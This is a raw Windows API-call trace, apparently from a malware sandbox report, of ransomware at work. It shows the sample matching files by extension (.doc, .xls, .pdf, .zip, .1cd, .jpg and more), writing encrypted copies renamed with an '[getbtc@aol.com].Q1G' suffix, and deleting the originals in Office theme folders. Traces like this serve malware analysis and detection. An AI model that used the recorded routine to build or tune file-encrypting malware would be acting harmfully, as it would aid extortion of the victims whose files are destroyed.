(lpString=".ppt") returned 4 [0048.197] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0048.197] lstrlenW (lpString=".zip") returned 4 [0048.197] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.197] lstrlenW (lpString=".rar") returned 4 [0048.197] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.197] lstrlenW (lpString=".bz2") returned 4 [0048.197] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.197] lstrlenW (lpString=".7z") returned 3 [0048.197] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0048.197] lstrlenW (lpString=".dbf") returned 4 [0048.197] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0048.197] lstrlenW (lpString=".1cd") returned 4 [0048.197] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0048.197] lstrlenW (lpString=".jpg") returned 4 [0048.197] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0048.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0048.197] lstrlenW (lpString=".doc") returned 4 [0048.197] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.197] lstrlenW (lpString=".docx") returned 5 [0048.197] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.197] lstrlenW (lpString=".pdf") returned 4 [0048.197] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.197] lstrlenW (lpString=".xls") returned 4 [0048.198] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.198] lstrlenW (lpString=".xlsx") returned 5 [0048.198] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.198] lstrlenW (lpString=".ppt") returned 4 [0048.198] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0048.198] lstrlenW (lpString=".zip") returned 4 [0048.198] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.198] lstrlenW (lpString=".rar") returned 4 [0048.198] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.198] lstrlenW (lpString=".bz2") returned 4 [0048.198] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.198] lstrlenW (lpString=".7z") returned 3 [0048.198] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0048.198] lstrlenW (lpString=".dbf") returned 4 [0048.198] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0048.198] lstrlenW (lpString=".1cd") returned 4 [0048.198] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0048.198] lstrlenW (lpString=".jpg") returned 4 [0048.198] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.198] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0048.198] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.198] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0048.414] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=19563) returned 1 [0048.414] CloseHandle (hObject=0x1a8) returned 1 [0048.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 0x20 [0048.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0048.414] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.414] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0048.674] GetLastError () returned 0x0 [0048.674] ReadFile (in: hFile=0x1a8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x4c6b, lpOverlapped=0x0) returned 1 [0048.700] WriteFile (in: hFile=0x1f0, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x4c70, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x4c70, lpOverlapped=0x0) returned 1 [0048.701] ReadFile (in: hFile=0x1a8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0048.701] WriteFile (in: hFile=0x1f0, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.701] SetEndOfFile (hFile=0x1f0) returned 1 [0048.701] CloseHandle (hObject=0x1f0) returned 1 [0048.708] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.708] SetEndOfFile (hFile=0x1a8) returned 1 [0048.709] CloseHandle (hObject=0x1a8) returned 1 [0048.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0048.709] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 1 [0048.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0048.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0048.710] lstrlenW (lpString=".doc") returned 4 [0048.710] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.710] lstrlenW (lpString=".docx") returned 5 [0048.710] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.710] lstrlenW (lpString=".pdf") returned 4 [0048.710] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.710] lstrlenW (lpString=".xls") returned 4 [0048.710] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.710] lstrlenW (lpString=".xlsx") returned 5 [0048.710] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.710] lstrlenW (lpString=".ppt") returned 4 [0048.710] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0048.710] lstrlenW (lpString=".zip") returned 4 [0048.710] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.710] lstrlenW (lpString=".rar") returned 4 [0048.710] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.710] lstrlenW (lpString=".bz2") returned 4 [0048.710] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.710] lstrlenW (lpString=".7z") returned 3 [0048.710] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0048.710] lstrlenW (lpString=".dbf") returned 4 [0048.710] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0048.710] lstrlenW (lpString=".1cd") returned 4 [0048.710] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0048.710] lstrlenW (lpString=".jpg") returned 4 [0048.710] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0048.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0048.711] lstrlenW (lpString=".doc") returned 4 [0048.711] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.711] lstrlenW (lpString=".docx") returned 5 [0048.711] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.711] lstrlenW (lpString=".pdf") returned 4 [0048.711] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.711] lstrlenW (lpString=".xls") returned 4 [0048.711] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.711] lstrlenW (lpString=".xlsx") returned 5 [0048.711] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.711] lstrlenW (lpString=".ppt") returned 4 [0048.711] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0048.711] lstrlenW (lpString=".zip") returned 4 [0048.711] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.711] lstrlenW (lpString=".rar") returned 4 [0048.711] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.711] lstrlenW (lpString=".bz2") returned 4 [0048.711] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.711] lstrlenW (lpString=".7z") returned 3 [0048.711] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0048.711] lstrlenW (lpString=".dbf") returned 4 [0048.711] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0048.711] lstrlenW (lpString=".1cd") returned 4 [0048.711] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0048.711] lstrlenW (lpString=".jpg") returned 4 [0048.711] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.712] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0048.712] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0048.712] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=4100) returned 1 [0048.712] CloseHandle (hObject=0x1a8) returned 1 [0048.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 0x20 [0048.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0048.712] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.712] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0049.030] GetLastError () returned 0x0 [0049.030] ReadFile (in: hFile=0x1a8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x1004, lpOverlapped=0x0) returned 1 [0049.031] WriteFile (in: hFile=0x214, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x1010, lpOverlapped=0x0) returned 1 [0049.033] ReadFile (in: hFile=0x1a8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0049.033] WriteFile (in: hFile=0x214, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.033] SetEndOfFile (hFile=0x214) returned 1 [0049.033] CloseHandle (hObject=0x214) returned 1 [0049.033] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.033] SetEndOfFile (hFile=0x1a8) returned 1 [0049.034] CloseHandle (hObject=0x1a8) returned 1 [0049.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0049.034] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 1 [0049.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0049.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0049.035] lstrlenW (lpString=".doc") returned 4 [0049.035] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.035] lstrlenW (lpString=".docx") returned 5 [0049.035] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.035] lstrlenW (lpString=".pdf") returned 4 [0049.035] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.035] lstrlenW (lpString=".xls") returned 4 [0049.035] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.035] lstrlenW (lpString=".xlsx") returned 5 [0049.035] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.035] lstrlenW (lpString=".ppt") returned 4 [0049.035] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0049.035] lstrlenW (lpString=".zip") returned 4 [0049.035] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.035] lstrlenW (lpString=".rar") returned 4 [0049.035] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.035] lstrlenW (lpString=".bz2") returned 4 [0049.035] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.035] lstrlenW (lpString=".7z") returned 3 [0049.035] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0049.035] lstrlenW (lpString=".dbf") returned 4 [0049.035] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0049.035] lstrlenW (lpString=".1cd") returned 4 [0049.035] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0049.035] lstrlenW (lpString=".jpg") returned 4 [0049.035] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0049.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0049.036] lstrlenW (lpString=".doc") returned 4 [0049.036] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.036] lstrlenW (lpString=".docx") returned 5 [0049.036] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.036] lstrlenW (lpString=".pdf") returned 4 [0049.036] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.036] lstrlenW (lpString=".xls") returned 4 [0049.036] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.036] lstrlenW (lpString=".xlsx") returned 5 [0049.036] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.036] lstrlenW (lpString=".ppt") returned 4 [0049.036] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0049.036] lstrlenW (lpString=".zip") returned 4 [0049.036] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.036] lstrlenW (lpString=".rar") returned 4 [0049.036] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.036] lstrlenW (lpString=".bz2") returned 4 [0049.036] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.036] lstrlenW (lpString=".7z") returned 3 [0049.036] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0049.036] lstrlenW (lpString=".dbf") returned 4 [0049.036] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0049.036] lstrlenW (lpString=".1cd") returned 4 [0049.036] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0049.036] lstrlenW (lpString=".jpg") returned 4 [0049.036] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.036] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0049.036] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.037] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0049.037] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=19525) returned 1 [0049.037] CloseHandle (hObject=0x1a8) returned 1 [0049.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 0x20 [0049.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0049.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0049.038] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.038] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0049.039] GetLastError () returned 0x0 [0049.039] ReadFile (in: hFile=0x1a8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x4c45, lpOverlapped=0x0) returned 1 [0049.041] WriteFile (in: hFile=0x214, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x4c50, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x4c50, lpOverlapped=0x0) returned 1 [0049.042] ReadFile (in: hFile=0x1a8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0049.043] WriteFile (in: hFile=0x214, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.043] SetEndOfFile (hFile=0x214) returned 1 [0049.043] CloseHandle (hObject=0x214) returned 1 [0049.043] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.043] SetEndOfFile (hFile=0x1a8) returned 1 [0049.044] CloseHandle (hObject=0x1a8) returned 1 [0049.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0049.044] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 1 [0049.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0049.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0049.044] lstrlenW (lpString=".doc") returned 4 [0049.044] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.044] lstrlenW (lpString=".docx") returned 5 [0049.044] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.044] lstrlenW (lpString=".pdf") returned 4 [0049.044] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.044] lstrlenW (lpString=".xls") returned 4 